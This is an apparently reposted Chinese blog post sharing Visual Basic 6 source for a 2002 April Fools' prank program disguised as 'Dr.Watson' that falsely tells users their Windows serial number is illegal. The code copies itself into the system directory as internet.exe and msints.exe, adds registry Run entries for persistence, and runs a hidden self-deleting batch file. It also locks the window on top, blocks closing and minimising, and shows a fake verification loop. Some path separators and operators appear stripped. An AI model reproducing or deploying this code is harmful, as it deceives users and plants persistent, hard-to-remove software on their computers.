序列号检查程序

来源：互联网发布：apple watch数据接口编辑：程序博客网时间：2024/05/01 06:44

本程序是2002.4.1号写的，大家应该知道是什么日子吧，原来的想法是可以将程序与TXT关联的，但没时间去修改了。程序跟上次的“辨断你的Windows是正版还是盗版 ”差不多，但这个可以在2K/XP里用的：）

VERSION 5.00
Begin VB.Form frmMain
   BorderStyle     =   3 'Fixed Dialog
   Caption         =   "Dr.Watson"
   ClientHeight    =   2190
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   6120
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   2190
   ScaleWidth      =   6120
   ShowInTaskbar   =   0   'False
   StartUpPosition =   1 'CenterOwner
   Begin VB.Frame Frame
      BorderStyle     =   0 'None
      Caption         =   "Frame1"
      Height          =   2175
      Left            =   0
      TabIndex        =   0
      Top             =   0
      Width           =   6135
      Begin VB.Frame Frame2
         BorderStyle     =   0 'None
         Caption         =   "Frame2"
         Height          =   1695
         Left            =   4560
         TabIndex        =   11
         Top             =   1680
         Width           =   4575
         Begin VB.Label Label3
            Caption         =   "        注意：如果Dr.Watson检测到输入的序列号错误，将自动返回上一步。"
            Height          =   435
            Left            =   0
            TabIndex        =   14
            Top             =   720
            Width           =   4485
         End
         Begin VB.Label Label2
            AutoSize        =   -1 'True
            Caption         =   "正在验证序列号的正确性，请稍后..."
            Height          =   195
            Left            =   720
            TabIndex        =   13
            Top             =   1320
            Width           =   2835
         End
         Begin VB.Label Label1
            Caption         =   "        正在验证序列号是否正确，此过程可能要花数分钟时间，同时可能导致计算机停止响应。"
            Height          =   375
            Left            =   0
            TabIndex        =   12
            Top             =   240
            Width           =   4575
         End
      End
      Begin VB.Frame Frame1
         BorderStyle     =   0 'None
         Caption         =   "Frame1"
         Height          =   1935
         Left            =   -2640
         TabIndex        =   2
         Top             =   1200
         Width           =   4695
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   4
            Left            =   3720
            TabIndex        =   8
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   3
            Left            =   2880
            TabIndex        =   7
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   2
            Left            =   2040
            TabIndex        =   6
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   1
            Left            =   1200
            TabIndex        =   5
            Top             =   1080
            Width           =   615
         End
         Begin VB.TextBox txtBox
            Height          =   375
            Index           =   0
            Left            =   360
            TabIndex        =   4
            Top             =   1080
            Width           =   615
         End
         Begin VB.CommandButton cmdSure
            Caption         =   "确定(&O)"
            Height          =   375
            Left            =   3240
            TabIndex        =   3
            Top             =   1560
            Width           =   1095
         End
         Begin VB.Label lblSN
            AutoSize        =   -1 'True
            Caption         =   "请输入正确的序列号："
            BeginProperty Font
               Name            =   "MS Sans Serif"
               Size            =   9.75
               Charset         =   0
               Weight          =   400
               Underline       =   0   'False
               Italic          =   0   'False
               Strikethrough   =   0   'False
            EndProperty
            Height          =   240
            Left            =   0
            TabIndex        =   10
            Top             =   720
            Width           =   1800
         End
         Begin VB.Label lblTips
            Caption         =   "        注意：Dr.Watson检测到非法的Windows序列号，您可以在随机附送的使用手册里找到正确的序列号，或与经销商联系。"
            Height          =   675
            Left            =   0
            TabIndex        =   9
            Top             =   0
            Width           =   4785
         End
      End
      Begin VB.PictureBox Picture1
         BorderStyle     =   0 'None
         Height          =   495
         Left            =   240
         Picture         =   "frmMain.frx":000C
         ScaleHeight     =   495
         ScaleWidth      =   495
         TabIndex        =   1
         Top             =   240
         Width           =   495
      End
   End
End
Attribute VB_Name = "frmMain"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
''''''''''''''''''''''''''''''''''''''''''''''''''''
'   本程序仅供参考，如造成任何损失本人不负责任。      '
'   oicq:102490                                    '
'   e-mail:skydg@21cn.com                          '
'   主页： http://www.skydg.net                    '
''''''''''''''''''''''''''''''''''''''''''''''''''''
Option Explicit

'读写注册表
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

'窗体总在最前
Private Declare Function SetWindowPos Lib "User32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Private Const HWND_TOPMOST = -1

'查找系统目录
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Private Const MAX_PATH = 260

'去掉关闭按钮
Private Declare Function GetSystemMenu Lib "User32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long
Private Declare Function RemoveMenu Lib "User32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long
Private Declare Function DrawMenuBar Lib "User32" (ByVal hwnd As Long) As Long
Private Declare Function GetMenuItemCount Lib "User32" (ByVal hMenu As Long) As Long

Private Const MF_BYPOSITION = &H400&
Private Const MF_DISABLED = &H2&

Dim ExitButton As Boolean

'取得windows目录
Function GetWinPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetWinPath = ""
    End If
End Function

'取得system目录
Function GetSystemPath()
    Dim strFolder As String
    Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetSystemPath = ""
    End If
End Function

'文件是否存在
Function FileExists(filename As String) As Integer
On Error Resume Next
    Dim i As Integer
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

'延时
Private Sub delay(ByVal n As Single)
    Dim tm1 As Single, tm2 As Single
    tm1 = Timer
    Do
        tm2 = Timer
        If tm2 < tm1 Then tm2 = tm2 + 86400
        If tm2 - tm1 > n Then Exit Do
        DoEvents
    Loop
End Sub

'去掉关闭按钮
Private Sub DisableX(Frm As Form)
    Dim hMenu As Long, nCount As Long
    hMenu = GetSystemMenu(Frm.hwnd, 0)
    nCount = GetMenuItemCount(hMenu)
    Call RemoveMenu(hMenu, nCount - 1, MF_DISABLED Or MF_BYPOSITION)
    DrawMenuBar Frm.hwnd
End Sub

Private Sub Form_Load()
On Error Resume Next
    Dim mePath As String
    Dim hKey As Long
    Dim strCmd As String
    Dim strRunCmd As String

    mePath = App.Path
    If Right(mePath, 1) <> "" Then mePath = mePath & ""

    If App.PrevInstance Then End

    '写入注册表
    strRunCmd = "internet.exe"
    Call RegCreateKey(HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRun", hKey)
    Call RegSetValueEx(hKey, "system", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
    Call RegCloseKey(hKey)

    strRunCmd = "msints.exe"
    Call RegCreateKey(HKEY_LOCAL_MACHINE, "SoftwareMicrosoftWindowsCurrentVersionRun", hKey)
    Call RegSetValueEx(hKey, "MsIDE", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 1)
    Call RegCloseKey(hKey)

    '复制自己
    Dim SourceFile, DestinationFile
    If FileExists(GetSystemPath & "internet.exe") = 0 Then
        SourceFile = mePath & App.EXEName & ".exe"
        DestinationFile = GetSystemPath & "internet.exe"
        FileCopy SourceFile, DestinationFile

        SourceFile = mePath & App.EXEName & ".exe"
        DestinationFile = GetSystemPath & "msints.exe"
        FileCopy SourceFile, DestinationFile
    End If

    '检查程序是否在系统目录下
    If UCase$(App.Path) <> UCase$(GetSystemPath) Then
        MsgBox "程序代码不完整或系统出现错误，程序可能已被病毒破坏。", vbOKOnly
        Open GetWinPath & "killme.bat" For Append As #1
        Print #1, "@echo off"
        Print #1, "dir " & GetSystemPath & " /w"
        Print #1, "del " & mePath & App.EXEName & ".exe"
        Print #1, "del " & GetWinPath & "killme.bat"
        Close #1
        Shell "killme.bat", vbHide
        End
    End If

    '后备程序
    If UCase$(App.EXEName & ".exe") = UCase$("msints.exe") Then End

    Frame1.Top = 120
    Frame1.Left = 1080
    Frame2.Top = 120
    Frame2.Left = 1080
    Frame2.Visible = False

    Call DisableX(Me)
    '窗体总在最前
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top Screen.TwipsPerPixelY, Me.Width Screen.TwipsPerPixelX, Me.Height Screen.TwipsPerPixelY, 0
End Sub

Private Sub Form_Resize()
'程序被最小化时返回初始状态
If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
'禁止程序退出
If Not ExitButton Then Cancel = True
End Sub

Private Sub cmdSure_Click()
    Frame1.Visible = False
    Frame2.Visible = True
    delay 30
    Frame1.Visible = True
    Frame2.Visible = False
End Sub

Private Sub Label2_Click()
End
End Sub